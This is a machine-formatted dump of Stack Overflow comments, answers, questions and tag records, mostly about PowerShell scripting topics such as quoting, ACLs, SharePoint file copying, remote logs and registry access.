comment on: http://stackoverflow.com/q/79185432
score: 0
type: QuestionComment
has text: You are right, it's my fault, i missed this geniunly chatgpt logic
type: Comment

http://stackoverflow.com/comment/139612071
type: AnswerComment
comment on: http://stackoverflow.com/a/79174103
type: Comment
score: 1
has text: Well, there's no decision there - it's just the floating point number that *can* be defined that is closest to the true mathematical value. Many number *cannot* be accurately represented in code using floating point representation. My favourite example is `.1 + .1 + .1` in Python, but even `"{0:f64}" -f .1` in PowerShell shows this. A value like 0.1 simply does not map onto an exact floating point number. Only powers of 2 and related numbers have an exact representation. Perhaps I used "fantasy" too flippantly - they are just more or less arbitrary closest values.

http://stackoverflow.com/comment/139644396
score: 1
type: QuestionComment
has text: For monitor info I've been using `Get-WmiObject -Namespace root\wmi -Class WmiMonitorBasicDisplayParams -ComputerName $thisName`. Then sending the results down a pipe and using `$_.InstanceName -match '(?i)^(?<InstancePath>DISPLAY\\(?<DisplayType>.*)\\[^\\_]+)_.*$'` to break out the HKLM registry path `'SYSTEM\CurrentControlSet\Enum\DISPLAY\' + $Matches.DisplayType + '\' + $Matches.InstancePath` which I use to get the [EDID](https://stackoverflow.com/a/78799254/4190564).
type: Comment
comment on: http://stackoverflow.com/q/79191771

http://stackoverflow.com/a/79218880
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79216721
has comment: http://stackoverflow.com/comment/139694720
type: Answer
accepted answer of: http://stackoverflow.com/q/79216721
has body: Your own workaround - using embedded \"...\" quoting (i.e. escaped "..." quoting) in lieu of '...' - is effective, but at least hypothetically can have side effects: "..." strings in PowerShell are expandable strings, i.e. their content is subject to (potentially unwanted) string interpolation. See below for solutions that avoid this problem. I realise the backticks are escaping the apostrophe inside !family1! No, there's no escaping happening and in fact it is the absence of escaping them that is your problem: !family1 is interpolated up front by cmd.exe, so that a verbatim value such as o'malley ends up as ...('o'malley')... in your PowerShell command line, which causes a syntax error, because in order to embed ' in a '...' string in PowerShell (a verbatim string), it must be doubled (...('o''malley')... You can perform this escaping using a cmd.exe variable substitution (see help set): !family1:'=''! Therefore: for /f "usebackq delims=" %%m in (`powershell -command "[CultureInfo]::CurrentCulture.TextInfo.ToTitleCase('!family1:'=''!')"`) do set "family=%%m" However, a simpler alternative is to let the PowerShell code reference cmd.exe-side variables as an environment variables (all cmd.exe variables also become environment variables, unlike in PowerShell), namely as $env:family1 in this case: This avoids up-front string interpolation by cmd.exe, obviates the need for escaping embedded quoting, and ensures verbatim use of the variable value by PowerShell. Therefore: for /f "usebackq delims=" %%m in (`powershell -command "[CultureInfo]::CurrentCulture.TextInfo.ToTitleCase($env:family1)"`) do set "family=%%m"
has comment: http://stackoverflow.com/comment/139694551
score: 1
upvote count: 1

http://stackoverflow.com/a/79161949
type: Answer
answers question: http://stackoverflow.com/q/79161849
has body: Two ways are as follows Using PowerShell windows command Move-Item -Path "SourcePath" -Destination "DestinationPath" In above command SourcePath is the full path to the file you want to move e.g. C:\xyz.png and DestinationPath is the full path to the destination folder where you want to move the file e.g. E:\FolderName Using linux command as some commands are supported in windows powershell mv "SourcePath" "DestinationPath" In above command SourcePath is the full path to the file you want to move and DestinationPath is the full path to the destination folder where you want to move the file. note: Sometimes double quotes symbols are not required in command and sometimes they are required.
score: 0

http://stackoverflow.com/comment/139639603
type: QuestionComment
comment on: http://stackoverflow.com/q/79189293
type: Comment
has text: I know. But that is not the point. I've taken an example where I know what it is.
score: 0

http://stackoverflow.com/comment/139659166
type: AnswerComment
has text: @Mattia72 I suppose that's because the `Desktop.ini` is really just for user convenience in the Explorer, and it has nothing to do with the actual file system or applications using files. And scripting tools often avoid localization since that can reduce the portability, they use an invariant culture instead.
score: 2
comment on: http://stackoverflow.com/a/79199171
type: Comment

http://stackoverflow.com/comment/139726495
has text: @Luuk Like I mentioned in the question, I want my code to be completely type safe. I.e. I would like to explicitly declare types for all my variables, including `$wordApp`
type: QuestionComment
comment on: http://stackoverflow.com/q/79237732
type: Comment
score: 0

http://stackoverflow.com/comment/139674469
score: 3
comment on: http://stackoverflow.com/q/79208376
has text: Just insert a `cls` (`Clear-Host`) after setting the BG color.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139612087
has text: Also @not2qubit - in case this wasn't clear already - please note that this is not specific to PowerShell, or Python, or any language. It is specific to the whole concept of floating point numbers. They are an approximation of real numbers in binary, but it's just mathematically impossible to have accurate representations of real numbers in efficient binary format that can be very rapidly operated on with binary logic. Your sense of representing them as strings of decimal digits is closer to our experience of them, but just a more wasteful and expensive approximation.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79174103

http://stackoverflow.com/comment/139602384
comment on: http://stackoverflow.com/a/79132466
has text: Can you try the API again with version `4.1-preview.1`? `https://vsaex.dev.azure.com/{organization}/_apis/userentitlements?top=2000&api-version=4.1-preview.1`? See the details from [this doc](https://learn.microsoft.com/en-us/rest/api/azure/devops/memberentitlementmanagement/user-entitlements/list?view=azure-devops-rest-4.1&tabs=HTTP).
type: AnswerComment
type: Comment
score: 0

packet
tag name: packet
type: Tag
tags question: http://stackoverflow.com/q/79178285

http://stackoverflow.com/a/79084526
score: 1
upvote count: 1
has body: TFVC changesets are not limited to one branch. A changeset can contain changes that are across multiple branches. To find all the branches for a changeset, all the changes in the set need to be examined. With the "Changesets - Get" API, a TfvcChangeset is returned which contain a changes member of TfvcChange[]. However, the TfvcChange record doesn't directly provide the branch. You will need to compare the server path of the item with known branches. You will also need to check the VersionControlChangeType to see if the change was a rename or branch creation.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79079754

http://stackoverflow.com/a/79095959
answers question: http://stackoverflow.com/q/79095704
has body: Solved, you need to get the acl again after disabling inheritance $sharePath = "C:\SHARE" New-Item -Path $sharePath -ItemType Directory $acl = Get-Acl -Path $sharePath $acl.SetAccessRuleProtection($true, $true) Set-Acl -Path $sharePath -AclObject $acl # NEED TO GET THE ACL AGAIN $acl = Get-Acl -Path $sharePath Write-Host "Before :" $acl.Access | Format-List * $groupToRemove = "BUILTIN\Utilisateurs" foreach ($accessRule in $acl.Access) { if ($accessRule.IdentityReference -eq $groupToRemove) { # Delete the rule. It seems to work because it returns true in powershell $acl.RemoveAccessRule($accessRule) } } Set-Acl -Path $sharePath -AclObject $acl Write-Host "After :" $acl.Access | Format-List *
accepted answer of: http://stackoverflow.com/q/79095704
type: AcceptedAnswer
type: Answer
score: 0

credentials
tags question: http://stackoverflow.com/q/79094880
type: Tag
tag name: credentials

http://stackoverflow.com/q/79193700
tagged with: powershell
has answer: http://stackoverflow.com/a/79319529
tagged with: document-library
score: 0
type: UnansweredQuestion
has body: Hello everyone I have tried copy documents in document library, but have mistake: "Access denied". In code bellow I tried copy one element by id: $clientId = "**************************" $clientSecret = "**************************" $siteUrl = "https://***********.sharepoint.com/sites/TransportClaimsDatabase/" $SourceLibrary = "Claims (test)" $DestinationLibrary = "Claims (Archive)" # Define the source and destination URLs for the document set $SourceUrl = "/sites/TransportClaimsDatabase/$SourceLibrary/$DocumentSetName" $TargetUrl = "/sites/TransportClaimsDatabase/$DestinationLibrary/$DocumentSetName" Write-Host "Connecting to $siteUrl" -ForegroundColor Yellow # Connect-PnPOnline -Url $siteUrl -UseWebLogin Connect-PnPOnline -Url $siteURL -ClientId $clientId -ClientSecret $clientSecret ##################################################################################################### $DocumentSetIDToCopy = "16" $DocumentSet = Get-PnPListItem -List $SourceLibrary -Id $DocumentSetIDToCopy $DocumentSetName = $DocumentSet["FileLeafRef"] $SourceUrl = "/sites/TransportClaimsDatabase/$SourceLibrary/$DocumentSetName" $TargetUrl = "/sites/TransportClaimsDatabase/$DestinationLibrary/$DocumentSetName" Write-Output "`nProcessing Document Set: $DocumentSetName with ID: $DocumentSetIDToCopy" Write-Output "SourceUrl: $SourceUrl" Write-Output "TargetUrl: $TargetUrl" try { Copy-PnPFile -SourceUrl $SourceUrl -TargetUrl $TargetUrl -OverwriteIfAlreadyExists -Force Write-Output "Successfully copied $DocumentSetName to $DestinationLibrary." } catch { Write-Output "Failed to copy $DocumentSetName. Error details:" $_ | Format-List -Force } ##################################################################################################### # Disconnect Disconnect-PnPOnline Write-Output "Document Sets have been successfully moved from $SourceLibrary to $DestinationLibrary." This document library containing documents sets, but in code I tried copy .docx file, but I can`t, what strange in the…
tagged with: sharepoint-online
tagged with: sharepointdocumentlibrary
has title: The Copy-PnPFile method does not copy items from the document library to the SharePoint list
type: Question
tagged with: sharepoint
answer count: 1

http://stackoverflow.com/comment/139676230
comment on: http://stackoverflow.com/q/79166115
type: QuestionComment
has text: I'm in the same boat. I thought maybe this App ID Service ( https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/configure-the-application-identity-service ) was the issue, so I ran `sc.exe config appidsvc start=auto` and rebooted, and no change
type: Comment
score: 0

http://stackoverflow.com/comment/139473242
score: 0
comment on: http://stackoverflow.com/q/79098434
type: QuestionComment
type: Comment
has text: Change the scriptblock to just `Get-Printer`. Then afterwards you exclude the extra properties inserted by `Invoke-Command` like this: `$printerInfo | Select-Object Name, PortName, DriverName | Format-Table -AutoSize`

http://stackoverflow.com/a/79196055
has comment: http://stackoverflow.com/comment/139657104
type: Answer
has comment: http://stackoverflow.com/comment/139657900
has body: From a PowerShell session, gsudo offers convenient syntax for invoking PowerShell commands directly, using a script block ({ ... }) and optional arguments, which can be passed as an array to the -Args parameter: gsudo { $parm1 = ConvertTo-SecureString -String $args[1] Unlock-Bitlocker -MountPoint $args[0] -Password $parm1 } -Args $DriveLetter, $EncUserCredential Compared to your attempt to call pwsh, the PowerShell (Core) 7 CLI, explicitly, the above is: more convenient avoids escaping headaches supports returning typed data, within the usual constraints of PowerShell's cross-process serialization infrastructure (see this answer for background information) As for what you tried: By passing an explicit pwsh CLI call to gsudo, you're complicating the escaping needs even further (compared to passing just a single argument containing PowerShell code as a string) and, for reasons unknown to me, the -Command (-c) parameter behaves differently from the (v7.4+) -CommandWithArgs (-cwa) parameter. E.g., gsudo pwsh -c ' `$HOME + """!"""; Get-Date ' works (but note the obscure escaping requirements), whereas the equivalent gsudo pwsh -cwa ' `$HOME + """!"""; Get-Date ' does not (note the missing ! in the output). If you were to pass the command string alone - in which case no extra escaping is required - things would be simpler (e.g., gsudo ' $HOME + "!"; Get-Date '), but then you couldn't pass arguments separately, the way you tried via -CommandWithArgs However, given the simpler and more robust alternative based on script blocks shown at the top, this isn't a problem that needs solving.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79193883
accepted answer of: http://stackoverflow.com/q/79193883
downvote count: 0
type: AcceptedAnswer

scripting
tags question: http://stackoverflow.com/q/79109456
tags question: http://stackoverflow.com/q/79139393
tags question: http://stackoverflow.com/q/79076263
tags question: http://stackoverflow.com/q/79208376
tags question: http://stackoverflow.com/q/79087523
tag name: scripting
tags question: http://stackoverflow.com/q/79208164
type: Tag
tags question: http://stackoverflow.com/q/79344254
tags question: http://stackoverflow.com/q/79317800
tags question: http://stackoverflow.com/q/79367371
tags question: http://stackoverflow.com/q/79273698
tags question: http://stackoverflow.com/q/79296160
tags question: http://stackoverflow.com/q/79439179
tags question: http://stackoverflow.com/q/79453479
tags question: http://stackoverflow.com/q/79512949
tags question: http://stackoverflow.com/q/79427895
tags question: http://stackoverflow.com/q/79536772

http://stackoverflow.com/comment/139549379
has text: @toyotaSupra formatted
type: QuestionComment
comment on: http://stackoverflow.com/q/79140084
type: Comment
score: 1

http://stackoverflow.com/a/79092551
answers question: http://stackoverflow.com/q/79092175
score: 2
downvote count: 0
type: Answer
upvote count: 2
has body: This is not Powershell, but a filesystem (NTFS). It seems to not update the time information available to other applications until the certain conditions. This is especially unpleasant with log files which are kept opened - the directory enumeration indicates that they are empty, but if you open them, the data is there. There doesn't seem to exist a solution for processes other than the writer. And even if you perform all operations on the file in one process, a script is probably too high-level for operations like sending some IRP requests to NTFS trying to obtain current information about a file.

http://stackoverflow.com/q/79168506
tagged with: remote-server
has comment: http://stackoverflow.com/comment/139601489
tagged with: powershell
has comment: http://stackoverflow.com/comment/139602690
answer count: 1
has answer: http://stackoverflow.com/a/79169256
has body: In trying to retrieve the last 10 log entries of several remote servers I have: $prod_relational_datastore = @('computer1', 'computer2') foreach ($hostname in $prod_relational_datastore) { $path = "D:\arcgisdatastore\logs\$($hostname).domain\server" Write-Host 'Searching '$path' for latest log file' -ForegroundColor Yellow $log = Invoke-Command -ComputerName $hostname -ScriptBlock {(Get-Childitem -Path "D:\arcgisdatastore\logs$($hostname)" -Recurse -Filter server*.log| Select-Object -Last 1).Name} $file = $path+'\'+$log Write-Host $file -ForegroundColor Red Invoke-Command -ComputerName $hostname -ScriptBlock {Get-Content $file -tail 10} } Which returns: Searching D:\arcgisdatastore\logs\computer1.domain\server for latest log file D:\arcgisdatastore\logs\computer1.domain\server\server-20241102.081002-7712-0.0.log Cannot bind argument to parameter 'Path' because it is null. + CategoryInfo : InvalidData: (:) [Get-Content], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.GetContentCommand + PSComputerName : computer1 Searching D:\arcgisdatastore\logs\computer2.domain\server for latest log file D:\arcgisdatastore\logs\computer2.domain\server\server-20241102.081019-8820-0.0.log Cannot bind argument to parameter 'Path' because it is null. + CategoryInfo : InvalidData: (:) [Get-Content], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.GetContentCommand + PSComputerName : computer2 However Invoke-Command -ComputerName computer1 -ScriptBlock {Get-Content 'D:\arcgisdatastore\logs\computer1.domain\server\server-20241102.081002-7712-0.0.log' -tail 10} Returns Starting backup of webhooks database 'webhooks'... Webhooks database 'webhooks' was backed up successfully. Starting backup of webhooks database 'webhooks'... Webhooks database 'webhooks' was backed up successfully. Starting backup of webhooks d…
score: 0
type: UnansweredQuestion
tagged with: variables
has title: Can get latest log file based on write time but can't read contents of the log file from remote server
type: Question

.net-4.8
tags question: http://stackoverflow.com/q/79205646
tag name: .net-4.8
tags question: http://stackoverflow.com/q/79090851
type: Tag

http://stackoverflow.com/q/79234580
tagged with: twincat
has body: I'm trying to automate some things via GitLab pipelines for TwinCAT (PLC development tool, based on Visual Studio Shell). I have a windows runner, trying to automate things with powershell scripts the gitlab-runner service runs without admin rights as user GitLab-Runner I try to get a COM object to use the Automation Interface for TwinCAT: # ======== JOB: release library ======== release-library: stage: deploy script: # debug test - | $Dte = New-Object -ComObject 'TcXaeShell.DTE.15.0' but I get this error if I execute the pipeline: $ $Dte = New-Object -ComObject 'TcXaeShell.DTE.15.0' New-Object : Retrieving the COM class factory for component with CLSID {A731B066-C381-4701-926E-AF470E987D80} failed due to the following error: 80070005 Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)). At line:280 char:8 + $Dte = New-Object -ComObject 'TcXaeShell.DTE.15.0' + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [New-Object], UnauthorizedAccessException + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.Ne wObjectCommand If I start powershell directly on the runner as user GitLab-Runner and execute the same line of code $Dte = New-Object -ComObject 'TcXaeShell.DTE.15.0' it works without any issues. I identified the CLSID {A731B066-C381-4701-926E-AF470E987D80} in the registry: ProgId TcXaeShell.DTE.15.0 LocalServer32 C:\Program Files (x86)\Beckhoff\TcXaeShell\Common7\IDE\TcXaeShell.exe I tried to give the user all rigts for C:\Program Files (x86)\Beckhoff\TcXaeShell but nothing changed. I testet the runner service with admin rights, and is is working. I'm quite new to GitLab pipelines and COM objects... What is the difference between the runner environment and if I start powershell as the same user? I would be grateful for any tips on what else I could test.
type: Question
answer count: 0
tagged with: gitlab-ci
tagged with: permissions
downvote count: 0
tagged with: powershell
tagged with: com
has title: Access denied while accessing COM object in GitLab pipeline
score: 3
upvote count: 3
type: UnansweredQuestion
favorite count: 0

http://stackoverflow.com/comment/139718039
has text: @anoopchoudhary the code you posted is *not* the same as the doc examples. Have you tried to use the correct instance name at all? I'd expect `0` to return the default SQL Server instance, ie `MSSQLSERVER` not the named SQL Server instance, `MSSQLSERVER\SQLSERVEREXPRESS`. If you run this on a dev machine that had SQL Server Developer and Express installed, you have no idea what you're connecting to. And unless you change the defaults, only Shared Memory is enabled
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 0

http://stackoverflow.com/comment/139529582
score: 1
has text: Got it. Thanks @iRon & @Theo!
comment on: http://stackoverflow.com/q/79116129
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79187311
type: UnansweredQuestion
score: 0
tagged with: git
has title: List path to modified files in the latest git commit on GitHub
type: Question
answer count: 1
has body: name: DBexecute - AD on: push: paths: - 'upload_REMOTEHOST/**/' # This will detect changes in any subdirectory under upload_REMOTEHOST jobs: setvars: runs-on: group: "Shared" outputs: runner_name: ${{ runner.name }} WORKSPACE_LOC: ${{ github.workspace }} steps: - name: Checkout code uses: actions/checkout@v4 - name: Detect Trigger Type run: | # Print the event type if ($env:GITHUB_EVENT_NAME -eq "workflow_dispatch") { Write-Host "Workflow executed by clicking 'Run workflow'" } elseif ($env:GITHUB_EVENT_NAME -eq "push") { Write-Host "Workflow executed by pushing a file" # Change to the GitHub workspace directory Set-Location $env:GITHUB_WORKSPACE # Get the name of the current branch $CURRENT_BRANCH=$(git rev-parse --abbrev-ref HEAD) Write-Host "CURRENT_BRANCH is $CURRENT_BRANCH" Write-Host "Changes to file are #1" git show --name-only Write-Host "Changes to file are #2" git log -1 --name-only --pretty=format: Write-Host "Changes to file are #3" git diff-tree --no-commit-id --name-only -r $(git rev-parse HEAD) Write-Host "Changes to file are #4" git diff-tree --no-commit-id --name-only -r HEAD # Fetch the latest changes from the remote repository for the current branch #git fetch origin ${CURRENT_BRANCH}:${CURRENT_BRANCH} # Get the modified files in the current branch compared to the last commit #git diff --name-only --diff-filter=d HEAD^ HEAD } else { Write-Host "Unknown event type" } Output: Changes to file are #1 commit 362402a73e3ac173cfb9bbf52b38e1197fef78c6 Author: User TUR, CRES <usercres@mybank.com> Date: Thu Nov 14 08:38:55 2024 +0530 Update 11DB.sql .github/workflows/dbexecute.yml upload_REMOTEHOST/TP00075/11DB.sql upload_REMOTEHOST/CAN_APP/11sql.db upload_REMOTEHOST/CCC_APP/11db.sql upload_REMOTEHOST/tp00055/11db.sql Changes to file are #2 .github/workflows/dbexecute.yml upload_REMOTEHOST/TP00075/11DB.sql upload_REMOTEHOST/CAN_APP/11sql.db upload_REMOTEHOST/CCC_APP/11db.sql upload_REMOTEHOST/tp00055/11db.sql Changes to file are #4 As you can see from the ou…
has comment: http://stackoverflow.com/comment/139636810
tagged with: powershell
tagged with: github-actions
has answer: http://stackoverflow.com/a/79198138

http://stackoverflow.com/comment/139582407
score: 0
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
has text: Does it make a difference if you pass `$null` instead of `[NullString]::Value` as the first argument when calling `FindWindow`?
type: Comment

http://stackoverflow.com/comment/139633480
has text: Thanks, Keith. Your recommendation worked but there is one thing I'd like to change. With your code it prompts to apply the change after each object it processes in the spreadsheet. Do you possibly have a solution on how I can modify it to process and output all the proposed changes before prompting to apply them?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79185659
type: AnswerComment

http://stackoverflow.com/a/79189007
has comment: http://stackoverflow.com/comment/139640677
answers question: http://stackoverflow.com/q/79188988
has body: If all folders have at least one .cpp in them, then you should only care about finding all files that don't have a .cpp extension and deleting them so, add -Recurse, -File and -Exclude *.cpp to your Get-ChildItem call: Get-ChildItem -Path $path -File -Recurse -Exclude *.cpp | Remove-Item
accepted answer of: http://stackoverflow.com/q/79188988
type: AcceptedAnswer
score: 2
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139508909
type: AnswerComment
type: Comment
has text: This makes so much sense and worked perfectly, thanks! I'm pretty new to Powershell (obviously...) and was unfamiliar with the dictionary concept. Really appreciate the detailed explanation!
comment on: http://stackoverflow.com/a/79115864
score: 1

http://stackoverflow.com/comment/139693589
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79219476
has text: Is 2 - 3 seconds how long it takes when you run make? How long does it take when you read the YAML from PS directly? Why are 3 seconds a problem? How long does it take to build your complete project?
score: 1

http://stackoverflow.com/comment/139717942
score: 0
has text: @Fildor As SQL Express is free distributable, so I am using it as back-end of Application. I need very less data-volume and my legacy database was MS SQL Express 2005. So, MS SQL Express 2019 is appropriate option for me.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639

azure-keyvault
tag name: azure-keyvault
type: Tag
tags question: http://stackoverflow.com/q/79161585
tags question: http://stackoverflow.com/q/79353181

http://stackoverflow.com/a/79112333
has body: As I am running the PowerShell script from onPrem agent server, and the .dll file is in different network how can I resolve this issue. You can copy the PowerShell script file along with the .dll file to the remote server, and then use the PowerShellOnTargetMachines@3 task to run the PowerShell script directly on the remote server. Here’s how you can set it up: Use a bash script task to download the .dll file and PowerShell script file from GitHub to the onPrem agent server (onPrem1/172.24.243.193). Use Windows Machine File Copy (WinRM) task to copy the .dll file and PowerShell script file to the remote server (AppServer1/172.26.143.22). Use the "PowerShell on Target Machines" task to run the PowerShell script on the target machine. Then enter the target machine's IP address or hostname, provide the necessary credentials, and specify the path to the PowerShell script. Please check the Prerequisites of the task and make sure that Windows Remote Management (WinRM) is properly configured on the target machines and that the necessary network configurations are in place to allow communication between the machines.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79111831

http://stackoverflow.com/comment/139513157
score: 0
type: QuestionComment
has text: Using `Invoke-RestMethod` only generates an error in response. `$WopiRespons.html.body.form` contains `error.aspx?sourcedoc=%7b%40%7bUniqueId%3d3e6f83aa-1609-4e0c-9e22-07d54993698e%7d%7d&action=view` (the GUID in the result has been anonymized).
comment on: http://stackoverflow.com/q/79119175
type: Comment

http://stackoverflow.com/comment/139646756
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79193404
has text: @alx9r good point, didnt thought you'd see the original file in the stacktrace using `.ScriptBlock` but seems like it does
type: Comment

http://stackoverflow.com/comment/139474101
has text: What happens when you try with a list-type that isn't `[array]` as the item source? eg. `$listbox.ItemsSource = [System.Collections.ObjectModel.Collection[psobject]]@(Get-NetAdapter)`
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79098831

codepages
tag name: codepages
tags question: http://stackoverflow.com/q/79105294
type: Tag

http://stackoverflow.com/comment/139731805
type: Comment
has text: Good find; that's nothing like I was expecting!
comment on: http://stackoverflow.com/a/79240616
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139539026
type: AnswerComment
type: Comment
has text: "Your only option is to capture the elevated process' output streams in (temporary) files." This is completely not so. You can send the PID of the outer process to the inner process, which proceeds to duplicate the handles from the outer process.
score: 0
comment on: http://stackoverflow.com/a/79131379

http://stackoverflow.com/comment/139589670
type: AnswerComment
has text: I would have liked to, but the problem is that numbers in SQL server can only be 15 characters long, and some agents have +10 contracts. We should never reach 99+, but we never know...
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79162274

http://stackoverflow.com/comment/139530974
type: Comment
comment on: http://stackoverflow.com/a/79126797
has text: @Ryane - The fact that the MRE is working correctly for me, but not for you. is concerning. I`m not able to test the proposed fix. I have to think there is more code at play that just what appears in the MRE. I know there can be differences between versions of Powershell but such a simple script should surely be consistent for most users?
score: 0
type: AnswerComment

http://stackoverflow.com/q/79098434
accepted answer: http://stackoverflow.com/a/79098470
has comment: http://stackoverflow.com/comment/139473242
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79098470
score: 0
has title: Get-Printer Powershell script still showing columns even though they are excluded
tagged with: printers
has body: Have the following line which should just output the name port and driver using get-printer: Get-Printer | Select-Object Name, PortName, DriverName The problem is that it also throws in Status, PSComputerName, and RunspaceId columns as shown, which it shouldn't. I tried adding the Excludeproperty which stops the Status column, but not the other two Get-Printer | Select-Object Name, PortName, DriverName -ExcludeProperty Status, PSComputerName, RunspaceId At a loss, that the heck is going on. Full script for reference. # Define the path to the text file $filePath = "C:\powershell\complist.txt" # Check if the file exists if (Test-Path $filePath) { # Read the computer names from the file $computerNames = Get-Content $filePath # Loop through each computer name foreach ($computer in $computerNames) { try { # Use Invoke-Command to run Get-Printer on the remote computer $printerInfo = Invoke-Command -ComputerName $computer -ScriptBlock { Get-Printer | Select-Object Name, PortName, DriverName -ExcludeProperty Status, PSComputerName, RunspaceId } if ($printerInfo) { # Output the printer information Write-Host "Printers on $computer :" $printerInfo | Format-Table -AutoSize } else { Write-Host "No printers found on $computer." } } catch { Write-Host "Error retrieving printers from '$computer': $_" } } } else { Write-Host "File not found: $filePath" } Ouput information from get-printer command and only getting the Name, PortName, and DriverName columns
type: Question

http://stackoverflow.com/comment/139640647
type: Comment
comment on: http://stackoverflow.com/a/79189592
has text: To get one (1) line output; `Get-ListeningProcesses | Select-Object -Property LocalPort,OwningProcess,ProcessName,CommandLine`
score: 0
type: AnswerComment

sid
tags question: http://stackoverflow.com/q/79183024
tag name: sid
type: Tag

http://stackoverflow.com/comment/139682251
comment on: http://stackoverflow.com/a/79211416
type: Comment
has text: Great, very comprehensive, and thanks for straightening out my misunderstanding of what was going on - very helpful.
score: 0
type: AnswerComment

entra
tags question: http://stackoverflow.com/q/79085336
type: Tag
tag name: entra
tags question: http://stackoverflow.com/q/79349700
tags question: http://stackoverflow.com/q/79400817
tags question: http://stackoverflow.com/q/79421844
tags question: http://stackoverflow.com/q/79541854
tags question: http://stackoverflow.com/q/79485503
tags question: http://stackoverflow.com/q/79469875
tags question: http://stackoverflow.com/q/79427778

http://stackoverflow.com/comment/139720244
type: QuestionComment
has text: @Compo, in casual speech, "should" and "must" are often interchangeable (e.g. when people point out typos in code, you may see "x should be y"), so this ambiguity is best avoided, especially in the context of incidental advice _that isn't clearly framed as such_ and _has no bearing on the solution_. That _your_ solution, which changes the premise of the question, indeed _requires_ quoting is beside the point (your alternative solution is helpful, but, for the reasons stated, I thought the question was worth addressing _as asked_, not least because the behavior is surprising).
comment on: http://stackoverflow.com/q/79227225
type: Comment
score: 0

http://stackoverflow.com/comment/139557791
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79145056
type: Comment
has text: You mean combining both -Match and -NotMatch into one regex, ok but I prefer combining it like so `^(?!.*user login|.*User authentication)(.*error.*|.*exception.*)` because the real script has more search strings and exclusions (I tried to keep it simple in the example)

http://stackoverflow.com/comment/139667077
score: 3
comment on: http://stackoverflow.com/q/79204520
has text: Logs are "after the fact"; they don't tell you the current status; which requires interrogating the actual device; now and then (i.e. a timer).
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79077802
score: 0
answers question: http://stackoverflow.com/q/79077437
type: Answer
has body: I accept @sirtao's answer. Meanwhile I was working on .Net in powershell to do this properly $aoo = New-Object System.Collections.Hashtable[] $idRange.Count foreach ($i in $idRange) { $i = $aoo.IndexOf($uid) $aoo[$i] = New-Object System.Collections.Hashtable } this way I can add/set/update properties like this for case in my question foreach ($id in $idRange) { $i = $idRange.IndexOf($id) $aoo[$i]['id'] = $id } or add/set/update just one parameter (for what I need) $aoo[2]['x'] = 7

http://stackoverflow.com/comment/139546755
type: Comment
has text: Hi FranciscoNabas , there is some access issue for which I am unable to use WMI command on the remote computers. It would be helpful if u would suggest the necessary regex on the net view command
comment on: http://stackoverflow.com/a/79138834
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139719579
comment on: http://stackoverflow.com/q/79232971
has text: Hello Oğuz, Deploying a PowerShell script is not that difficult. To identify what the issue is, Try the below steps first.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139559649
type: QuestionComment
type: Comment
has text: @mklement0 awesome! I see I was configuring my runspace incorrectly compared to what the Threadjob module does. And of course forgot the old ISE console doesn't behave the same way
score: 1
comment on: http://stackoverflow.com/q/79141597

http://stackoverflow.com/a/79111903
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139500936
has body: How do a get a list of the folders [subkeys] under the HKU\SID\Printers\Connections\ key? Call the .GetSubKeyNames() method on the [Microsoft.Win32.RegistryKey] instance returned by .OpenSubkey(): $strRegKey.OpenSubKey($strKeyPrinterList).GetSubKeyNames() | Out-GridView Note that this will only show the names of the subkeys, not also their content. As for what you tried: The result is an empty table, with columns for Name and Property, but nothing under them. The reason is that PowerShell's for-display output-formatting system, as seemingly also used by Out-GridView, relies on [Microsoft.Win32.RegistryKey] instances to be decorated with ETS (Extended Type System) properties. Only when such instances are retrieved via the PowerShell registry provider are they decorated with these properties, resulting in rich for-display formatting with both Get-Item (for the targeted key itself) and Get-ChildItem (for the targeted key's subkeys), as well as Out-GridView. The following minimal example illustrates this difference: # OK: Shows the target key's values' names and data, # mediated by ETS properties. # Same as: # Get-Item HKCU:\Console | Out-GridView Get-Item registry::HKEY_CURRENT_USER\Console | Out-GridView # !! Despite in effect targeting the same key, this does NOT work the same, # !! due to lack of ETS properties. [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Console') | Out-GridView
has comment: http://stackoverflow.com/comment/139501947
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/79111683
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79111683

ubuntu
type: Tag
tags question: http://stackoverflow.com/q/79099651
tag name: ubuntu
tags question: http://stackoverflow.com/q/79501828

http://stackoverflow.com/comment/139431505
comment on: http://stackoverflow.com/q/79075877
type: QuestionComment
type: Comment
